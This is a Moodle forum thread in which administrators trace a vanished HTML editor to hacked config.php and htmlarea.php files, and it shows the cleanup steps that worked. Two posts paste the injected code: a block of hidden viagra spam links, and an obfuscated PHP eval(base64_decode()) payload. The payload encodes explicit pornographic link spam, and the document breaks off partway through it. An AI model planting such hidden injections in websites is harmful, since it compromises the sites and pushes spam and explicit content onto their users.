HTML editor disappeared (from Firefox)

HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
Number of replies: 41
The HTML editor disappeared from our moodle which we have installed on site5.com - it happened between yesterday and today, in Firefox and Internet Explorer. It's gone for multiple users who are generally using Firefox and have hitherto been able to see it (as recently as yesterday when one of your course designers was using it heavily). It is turned on in the Appearance panel.

We didn't make any changes to our moodle (which is still 1.7 - yes, we need to upgrade) but its possible site5.com made a change to their PHP or something so I've put in a ticket to ask them.

Any suggestions of what to look for or ask site5.com about? BTW - I can see the HTML editor just fine here.
Average of ratings: Useful (1)
In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Peter T -
Hello Maureen, very strange. Same thing happened to me between yesterday and today! I'm running 1.6.4. Bizarre! Anyone with suggestions?
In reply to Peter T

Re: HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
Peter - what host are you using?

Site5.com says it did no server maintenance during that time.
In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Andreas Wesseler -
Hello Maureen, hello Peter
hello community,

we are using moodle version 1.8.3 in our school in Germany and observed the same effect as you did.
Since yesterday the html-editor has vanished (in Firefox AND the Internet Explorer) though it is activated on in the appearance panel.

Our provider did not do any maintenance work.
We have changed nothing in our settings.

And just like you I can see the HTML editor just fine here too !


Anyone with suggestions?
Any help would be appreciated,
Thanks!

Andreas
In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
Andreas, Peter

What do we have in common?
Not the same version of moodle
My host is site5.com (server is merlin) - presume it is not the same for both of you
My server has PHP 4.4.8
We use MySQL
I have very few extra add-ons to my moodle (feedback, journal and the respondus quiz format)

I and two others have looked in Firefox (on XP for me, maybe on Vista for one other) and I have Firefox 2 on one computer and firefox 3 on the other and also checked out IE 7 - HTML toolbar editor missing on all of them

I just installed an instance of moodle on another server (also hosted by site5 but a different server) using the Fantastico installer and with a fresh install moodle 1.9.3 and PHP 4.4.8, the HTML editor is working (on the same computer it is not working on in my normal installation.)

So I guess I upgrade my moodle for a start - but this is really weird
In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Andreas Wesseler -
Hello Maureen,

well there seem to be some things that our systems have in common:

Our server has PHP 4.4.8 too.
We too are using MySQL and we have NO extra add-ons installed to our moodle.

It seems to me that we will have to try a fresh installation.
I will report after that.

Andreas


In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Frank Dressler -
Hi,

we are providing some moodle-instances.
Those which are working under 1.8.3+ have the described problem with the html-editor. It disapered without any visible reason. Those instances, which are working under 1.9.3 don't have that problem. (Not yet ..)
So if somebody have a better idea to solve the problem as to give the system a complete new installation ist really welcome.
By the way we are using Apache 2, PHP 5 and MySQL 5, some Addons an having no Provider.

Hope to get some good news.

Frank
In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Peter T -
Maureen, I'm with Hostgator.com. Strangely, the editor is working ok on Firefox 3.0.5 (Vista) but on the IE it's not. Page loads with an error on the bottom saying "HTMLArea is undefined". So it looks like Java error. Can you guys check if you're having the same error?

It does not work on Firefox on Mac either. Total mystery. My host did not do any changes that would affect that and I'm on dedicated server.

Using PHP 4.4.8 and MySQL, I do have some add-ons. But they have been installed ages ago and worked fine.
In reply to Peter T

Re: HTML editor disappeared (from Firefox)

by Andreas Wesseler -

Hi Maureen, hi Peter, hi Frank,


it really seems to be an error in JAVA.

Perhaps you should have a look at the following file:
http://www... ... .../moodle/lib/editor/htmlarea/htmlarea.php
in your moodle-installation

In our moodle installation this is an invalid script, where someone has put in some bad links:
 "// cache some regexps "HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig; "HTMLArea.RE_doctype = /(<!doctype((.|\n)*?)>)\n?/i; "HTMLArea.RE_head = /<head>((.|\n)*?)<\/head>/i; "HTMLArea.RE_body = /<body><i style="display:none"> "xepxep "<a href=http://aims2.ideal.asu.edu/?search=viagra>viagra</a>; "<a href=http://aims2.ideal.asu.edu/?search=buying+viagra>buying viagra</a> "<a href=http://aims2.ideal.asu.edu/?search=buying+viagra+online>buying viagra online</a> 
and so on and so on and so on.

Or perhaps this is a totally different problem that we just discovered
because of the vanished editor.
Can you tell me if your files contain something similiar to this stuff ?

In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Peter T -
Yes Andreas, I noticed that we had a HTML injection put in by hackers that affected my config.php on Jan 28 and I replaced the whole "lib" folder the same day. The reason it was working in Firefox and not in IE is that I haven't emptied the cache and cookies in Explorer when the fix was made. Editor is now working ok on all platforms.

Guys, open your config.php in the main moodle folder and remove the malicious code. And as Andreas said, fix the htmlarea.php as well. Seems like we have been hacked by the same mob on the same day!

Now the question pops up -how do we prevent the same thing happening in a future? It's scary to know that someone can just inject a code into our config.php!
In reply to Peter T

Re: HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
My config.php was modified on 1/27 and it had the viagra code in it - deleting it hasn't fixed my html editor though

This means upgrading will probably fix it so I have to push that up on my priority list.
In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
I couldn't find any suspicious code but I replaced the whole htmlarea folder with the original version

then I replaced the whole "editor" folder and it had no affect (I am clearing my cache)

(fortunately I'm a packrat and saved the zipped download of the version I am using)

I saved the potentially "bad" folders so I'll download them and look at them again

The error I am getting in Javascript is "HTMLArea is not defined"
In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Andreas Wesseler -
Hi Maureen,

perhaps you did not do enough.

We have replaced the config.php too, because after replacing the htmlarea.php the editor was still not available and because of what I had read in Peter Timko´s posting.

In a German forum a senior moodle-user recommended to upgrade to the most recent version of moodle, this is 1.9.3 (or is it 1.9.4 ?), because the vulnerability has been extincted there.

I hope this will help you.



In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Maureen O'Halloran -
Instead of just editing the corrupted config.php file I made a completely new one and once I loaded that it fixed the problem.

I had also replaced the /lib/editor/ folder during my tests - whether that was necessary I do not know.

Now I will need to upgrade to fix the security hole.

In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Jens Leilich -
Her comes what helped me:
  1. deleted the malicious code from /config.php
  2. deleted all session files /moodledata/sessions/*
  3. logged in
the editor worked again.
Average of ratings: Useful (2)
In reply to Jens Leilich

Re: HTML editor disappeared (from Firefox)

by Simone Wachtel -
Hi Jens,

thank you so much - editor works again!

Cheers from German neighbourhood: Neustadt/Weinstrasse smile

Simone
In reply to Jens Leilich

Re: HTML editor disappeared (from Firefox)

by christian collignon -

Hi Jens,

thank you so much - editor works again!

(enfin je revois mon éditeur, quel soulagement, je m'apprétais à migrer vers une version plus récente de moodel...)

cordialement

christian collignon

DIJON

FRANCE

In reply to christian collignon

Re: HTML editor disappeared (from Firefox)

by Simone Wachtel -
... moi aussi...

salutations amicales d'Allmagne,
Simone
In reply to Jens Leilich

Svar: Re: HTML editor disappeared (from Firefox)

by Stellan Kinberg -

I found some strange code in the beginning of config.php

<?php  /*// 15f5b7e7da25ae61fc378f3ac1361343 */ eval(base64_decode('JGxpbmtzID0gJw0KeGVleDkwMDEwMjA5DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1waWN0dXJlcytvZitibGFjaytwdXNzeT5waWN0dXJlcyBvZiBibGFjayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2ZlbWFsZSsrK3Bvcm4rc3RhcnMrcHVzc3krc3R1ZmZlZD5ibGFjayBmZW1hbGUgICBwb3JuIHN0YXJzIHB1c3N5IHN0dWZmZWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1oYXJkY29yZStibGFjaytwdXNzeStwb3JuPmhhcmRjb3JlIGJsYWNrIHB1c3N5IHBvcm48L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1pbnRlcnJhY2lhbCtwb3JuK2JsYWNrK3B1c3N5PmludGVycmFjaWFsIHBvcm4gYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD14eHgrYmxhY2srcHVzc3krcG9ybj54eHggYmxhY2sgcHVzc3kgcG9ybjwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3B1c3N5K2h1bXBpbmcrcG9ybj5ibGFjayBwdXNzeSBodW1waW5nIHBvcm48L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10ZWVuYWdlK2JsYWNrK3B1c3N5K3Bvcm4+dGVlbmFnZSBibGFjayBwdXNzeSBwb3JuPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srY2h1YmJ5K3B1c3N5PmJsYWNrIGNodWJieSBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2NodWJieStwdXNzeStydWJiaW5nPmJsYWNrIGNodWJieSBwdXNzeSBydWJiaW5nPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9Y2h1YmJ5K2JsYWNrK3J1YmJpbmcrcHVzc3k+Y2h1YmJ5IGJsYWNrIHJ1YmJpbmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1jaHViYnkrcGx1bXArYmxhY2srcHVzc3k+Y2h1YmJ5IHBsdW1wIGJsYWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9Y2h1YmJ5K2JsYWNrK2xlc2JpYW5zK2xpY2srcHVzc3kraGFyZGNvcmU+Y2h1YmJ5IGJsYWNrIGxlc2JpYW5zIGxpY2sgcHVzc3kgaGFyZGNvcmU8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1jaHViYnkrYmxhY2srcHVzc3krcnViYmluZz5jaHViYnkgYmxhY2sgcHVzc3kgcnViYmluZzwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3B1c3N5K2NyZWFtcGllcz5ibGFjayBwdXNzeSBjcmVhbXBpZXM8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytwdXNzeStjcmVhbXBpZStzdXJwcmlzZT5ibGFjayBwdXNzeSBjcmVhbXBpZSBzdXJwcmlzZTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJlc3QrYmxhY2srcHVzc3krY3JlYW1waWU+YmVzdCBibGFjayBwdXNzeSBjcmVhbXBpZTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2dhbmcrY3JlYW1waWUrd2hpdGUrcHVzc3k+YmxhY2sgZ2FuZyBjcmVhbXBpZSB3aGl0ZSBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWNyZWFtcGllK2JsYWNrK3B1c3N5PmNyZWFtcGllIGJsYWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9amFwYW5lc2UrcHVzc3krYmxhY2srZGljaytjcmVhbXBpZT5qYXBhbmVzZSBwdXNzeSBibGFjayBkaWNrIGNyZWFtcGllPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srZWJvbnkrYmJ3K3B1c3N5PmJsYWNrIGVib255IGJidyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWVib255K3B1c3N5K2JsYWNrK2NvY2s+ZWJvbnkgcHVzc3kgYmxhY2sgY29jazwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWFtYXRldXIrYmxhY2srYWZyaWNhbitlYm9ueStwdXNzeT5hbWF0ZXVyIGJsYWNrIGFmcmljYW4gZWJvbnkgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaysrZWJvbnkrcHVzc3krcGxheT5ibGFjayAgZWJvbnkgcHVzc3kgcGxheTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2Vib255K3B1c3N5K21hc3R1cmJhdGlvbj5ibGFjayBlYm9ueSBwdXNzeSBtYXN0dXJiYXRpb248L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytjb2NrK3dpbGQrZWJvbnkrcHVzc3k+YmxhY2sgY29jayB3aWxkIGVib255IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZWJvbnkrcHVzc3krYmUrcHVtcGVkK2J5K2ErYmxhY2srZGljaz5lYm9ueSBwdXNzeSBiZSBwdW1wZWQgYnkgYSBibGFjayBkaWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZWJvbnkrc3ByZWFkK2JsYWNrK3B1c3N5PmVib255IHNwcmVhZCBibGFjayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXB1c3N5K2JsYWNrK2Vib255K3N1YmRvbWluYXRpb24rbWFjaGluZT5wdXNzeSBibGFjayBlYm9ueSBzdWJkb21pbmF0aW9uIG1hY2hpbmU8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaysrZWJvbnkrcHVzc3krc3ByZWFkPmJsYWNrICBlYm9ueSBwdXNzeSBzcHJlYWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1lYm9ueStibGFjaytwdXNzeStjdW0+ZWJvbnkgYmxhY2sgcHVzc3kgY3VtPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZWJvbnkrYmxhY2srd29tYW4rcHVzc3krcGhvdG9zPmVib255IGJsYWNrIHdvbWFuIHB1c3N5IHBob3RvczwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXB1c3N5K3N3ZWV0K2JsYWNrPnB1c3N5IHN3ZWV0IGJsYWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c3ByZWFkK2JsYWNrK3B1c3N5PnNwcmVhZCBibGFjayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3NwcmVhZCtwdXNzeT5ibGFjayBzcHJlYWQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1wdXNzeStzcHJlYWQrYmxhY2s+cHVzc3kgc3ByZWFkIGJsYWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c3ByZWFkK3B1c3N5K2JsYWNrK2NvY2s+c3ByZWFkIHB1c3N5IGJsYWNrIGNvY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1hK2JsYWNrK3B1c3N5K3NwcmVhZD5hIGJsYWNrIHB1c3N5IHNwcmVhZDwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3NwcmVhZCtwdXNzeStkaWRsbz5ibGFjayBzcHJlYWQgcHVzc3kgZGlkbG88L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1wdXNzeStzcHJlYWQrYmxhY2srb29jaz5wdXNzeSBzcHJlYWQgYmxhY2sgb29jazwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3NwcmVhZCtwdXNzeStodWdlK2RpbGRvPmJsYWNrIHNwcmVhZCBwdXNzeSBodWdlIGRpbGRvPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZGVlcCsrYmxhY2srcHVzc3k+ZGVlcCAgYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytwdXNzeStkcmlsbGVkK2RlZXArYnkrY29jaz5ibGFjayBwdXNzeSBkcmlsbGVkIGRlZXAgYnkgY29jazwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWRlZXArYmxhY2srK3B1c3N5PmRlZXAgYmxhY2sgIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srZGVlcCtwdXNzeT5ibGFjayBkZWVwIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c2hvdmVkK2hpcytibGFjaytjb2NrK2RlZXAraW4rbXkrcHVzc3k+c2hvdmVkIGhpcyBibGFjayBjb2NrIGRlZXAgaW4gbXkgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1jdW0raW4rYmxhY2srcHVzc3k+Y3VtIGluIGJsYWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srcHVzc3krZmlsbGVkK3dpdGgrY3VtPmJsYWNrIHB1c3N5IGZpbGxlZCB3aXRoIGN1bTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXdoaXRlK2N1bStpbitibGFjaytwdXNzeT53aGl0ZSBjdW0gaW4gYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytjdW0rd2hpdGUrcHVzc3k+YmxhY2sgY3VtIHdoaXRlIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9Y3VtK2JsYWNrK3B1c3N5PmN1bSBibGFjayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWN1bStvbitibGFjaytwdXNzeT5jdW0gb24gYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1wdXNzeStjdW0rYmxhY2s+cHVzc3kgY3VtIGJsYWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9d2hpdGUrcHVzc3krYmxhY2srY3VtPndoaXRlIHB1c3N5IGJsYWNrIGN1bTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2N1bStpbitibGFjaytwdXNzeT5ibGFjayBjdW0gaW4gYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytjdW0rcHVzc3k+YmxhY2sgY3VtIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srZGljaytjdW0rbitwdXNzeT5ibGFjayBkaWNrIGN1bSBuIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9Y3VtK2luK215K2JsYWNrK3B1c3N5PmN1bSBpbiBteSBibGFjayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXh4eCsrYmxhY2srcHVzc3krY3VtPnh4eCAgYmxhY2sgcHVzc3kgY3VtPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srY3VtK2ZpbGxlZCtwdXNzeT5ibGFjayBjdW0gZmlsbGVkIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srcHVzc3krc2hvb3RpbitjdW0+YmxhY2sgcHVzc3kgc2hvb3RpbiBjdW08L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1jdW0rZmlsbGVkK2JsYWNrK3B1c3N5PmN1bSBmaWxsZWQgYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1jdW0raW5zaWRlK3B1c3N5K2NhbWVyYStibGFjaytjb2NrPmN1bSBpbnNpZGUgcHVzc3kgY2FtZXJhIGJsYWNrIGNvY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD13aWxkK2JsYWNrK3B1c3N5K2VqYWN1bGF0aW5nPndpbGQgYmxhY2sgcHVzc3kgZWphY3VsYXRpbmc8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD13aWxkK2JsYWNrK3B1c3N5K21wZWc+d2lsZCBibGFjayBwdXNzeSBtcGVnPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9d2lsZCtwdXNzeStibGFjaz53aWxkIHB1c3N5IGJsYWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srK3B1c3N5K3ZpZGVvPmJsYWNrICBwdXNzeSB2aWRlbzwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3B1c3N5K3ZpZGVvK3RncD5ibGFjayBwdXNzeSB2aWRlbyB0Z3A8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD12aXJnaW4rYmxhY2srcHVzc3k+dmlyZ2luIGJsYWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dmlyZ2luK3B1c3N5K2JsYWNrK2RpY2s+dmlyZ2luIHB1c3N5IGJsYWNrIGRpY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1odWdlK2JsYWNrK2NvY2srcHVzc3k+aHVnZSBibGFjayBjb2NrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c21hbGwrcHVzc3krcmlwcGVkK3BhaW5mdWwraHVnZStibGFjaytkaWNrPnNtYWxsIHB1c3N5IHJpcHBlZCBwYWluZnVsIGh1Z2UgYmxhY2sgZGljazwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK3B1c3N5K29uK2h1Z2UrY29jaz5ibGFjayBwdXNzeSBvbiBodWdlIGNvY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1odWdlK2JsYWNrK2NvY2tzK2luK3B1c3N5Pmh1Z2UgYmxhY2sgY29ja3MgaW4gcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1wdXNzeStmaWxsZWQraHVnZStibGFjaytjb2NrPnB1c3N5IGZpbGxlZCBodWdlIGJsYWNrIGNvY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1naWFudCtodWdlK2JsYWNrK3B1c3N5PmdpYW50IGh1Z2UgYmxhY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1odWdlK2JsYWNrK2RpY2sraW4rcHVzc3k+aHVnZSBibGFjayBkaWNrIGluIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9aHVnZStibGFjayttYW1hK3B1c3N5Pmh1Z2UgYmxhY2sgbWFtYSBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWxhdGluK3B1c3N5K2FuZCtodWdlK2JsYWNrK2NvY2tzPmxhdGluIHB1c3N5IGFuZCBodWdlIGJsYWNrIGNvY2tzPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9cHVzc3krc3R1ZmZlZCtieStodWdlK2JsYWNrK2NvY2s+cHVzc3kgc3R1ZmZlZCBieSBodWdlIGJsYWNrIGNvY2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1maW5nZXJpbmcrYmxhY2srcHVzc3k+ZmluZ2VyaW5nIGJsYWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZmluZ2VyaW5nK2JsYWNrK3dvbWFuK3B1c3N5PmZpbmdlcmluZyBibGFjayB3b21hbiBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrKytwdXNzeStmaW5nZXJpbmc+YmxhY2sgIHB1c3N5IGZpbmdlcmluZzwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2ZpbmdlcmluZytwdXNzeT5ibGFjayBmaW5nZXJpbmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaytsZXNiaWFucytmaW5nZXJpbmcrdGhlcmUrcHVzc3k+YmxhY2sgbGVzYmlhbnMgZmluZ2VyaW5nIHRoZXJlIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1v